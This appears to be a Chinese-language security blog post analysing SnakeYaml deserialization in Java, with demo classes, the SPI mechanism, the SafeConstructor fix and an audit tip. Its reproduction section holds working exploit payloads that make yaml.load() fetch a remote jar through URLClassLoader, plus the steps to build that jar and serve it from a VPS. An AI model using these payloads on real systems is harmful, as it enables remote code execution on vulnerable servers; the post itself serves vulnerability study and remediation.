Java安全之SnakeYaml反序列化分析
2022-07-18 15:20:37 # Java安全

前言

之前在复现若依的漏洞时,接触到了SnakeYaml反序列化,现在分析一下漏洞触发的原理。

SnakeYaml 概述

简介

YAML语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持YAML的配置文件。SnakeYaml是用来解析YAML,将YAML文档转换为JAVA对象,以及将JAVA对象序列化为YAML文档。

使用

要在项目中使用SnakeYAML,需要添加Maven依赖项

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
String	dump(Object data)
将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

主要关注序列化函数和反序列化的函数

  • Yaml.load():入参是一个字符串或者一个文件,结果序列化之后返回一个JAVA对象。
  • Yaml.dump():将一个对象转化为YAML文件格式。

序列化

User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.test.yaml;

public class User {
public String name;

public String getName() {
return name;
}


public void setName(String name) {
this.name = name;
}
}

YamlDemo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlDemo {
public static void main(String[] args) {
User l2sec = new User();
l2sec.setName("l2sec");
Yaml yaml = new Yaml();
String dump = yaml.dump(l2sec);
System.out.println(dump);
}
}

运行结果

image-20220718155531676

输出如下字符串

1
!!com.test.yaml.User {name: l2sec}

这里的!!类似于fastjson的@type用于指定反序列化的全类名

反序列化

再新建一个Person类,在各个方法中添加了print输出,目的是测试在反序列化时会触发这个类中的哪些方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.test.yaml;

public class Person {
public String name;
public int age;

public String getName() {
System.out.println("调用了getName方法");
return name;
}

public void setName(String name) {
System.out.println("调用了setName方法");
this.name = name;
}

public int getAge() {
System.out.println("调用了getAge方法");
return age;
}

public void setAge(int age) {
System.out.println("调用了setAge方法");
this.age = age;
}
}

在YamlDemo2中,通过!!指定类名需要写全类名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlDemo2 {
public static void main(String[] args) {
Serialize();
Deserialize();
}

private static void Serialize(){
Person person = new Person();
person.setName("l2sec");
person.setAge(20);
Yaml yaml = new Yaml();
String dump = yaml.dump(person);
System.out.println(dump);
}
private static void Deserialize() {
String className = "!!com.test.yaml.Person {age: 20, name: l2sec}";
Yaml yaml = new Yaml();
Person person = yaml.load(className);
System.out.println(person.getAge());
}
}

运行结果

image-20220718161210782

输出如下

1
2
3
4
5
6
7
8
调用了构造方法
调用了setName方法
调用了setAge方法
!!com.test.yaml.Person {age: 20, name: l2sec}

调用了构造方法
调用了getAge方法
20

可以看到在序列化的时候触发set方法和构造方法。

反序列化漏洞分析

漏洞复现

运行下面POC代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlExploit {
public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://e8c2f892.dns.1433.eu.org\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

运行结果如下,成功触发dnslog

image-20220718162745602

如果需要触发RCE,我们可以借用这个github项目,修改AwesomeScriptEngineFactory.java的代码。在构造方法或者静态代码块中写好触发命令执行的代码即可。(一般针对出网环境)

image-20220718164159659

修改好后,编译成class文件,并打包成jar

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

上传到vps上,开启一个http服务

1
python3 -m http.server --cgi 8888

编写测试类YamlExploit

1
2
3
4
5
6
7
8
9
10
11
12
package com.test.yaml;

import org.yaml.snakeyaml.Yaml;

public class YamlExploit {
public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://ip:port/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

运行结果如下

image-20220718164127927

SPI机制

在漏洞分析前需要了解下SPI的机制,在上面的payload中看到是使用ScriptEngineManager类来进行构造,ScriptEngineManager利用的底层就是SPI机制。

SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。Java中SPI机制主要思想是将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要,其核心思想就是解耦

当服务的提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。

影响版本

全版本

漏洞原理

根据前面的例子,我们可以知道YAML反序列化时可以通过!!+全类名的方式指定要反序列化的类,反序列化时就会实例化该类,可以通过构造ScriptEngineManager的payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI的方式加载远程并实例化恶意类,从而实现RCE。

漏洞修复

修复方案:加入new SafeConstructor()类进行过滤

1
2
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);

审计注意的点

在审计中其实就可以直接定位yaml.load();,然后进行回溯,如若参数可控,那么就可以尝试传入payload。

参考

https://www.cnblogs.com/nice0e3/p/14514882.html

https://tttang.com/archive/1591/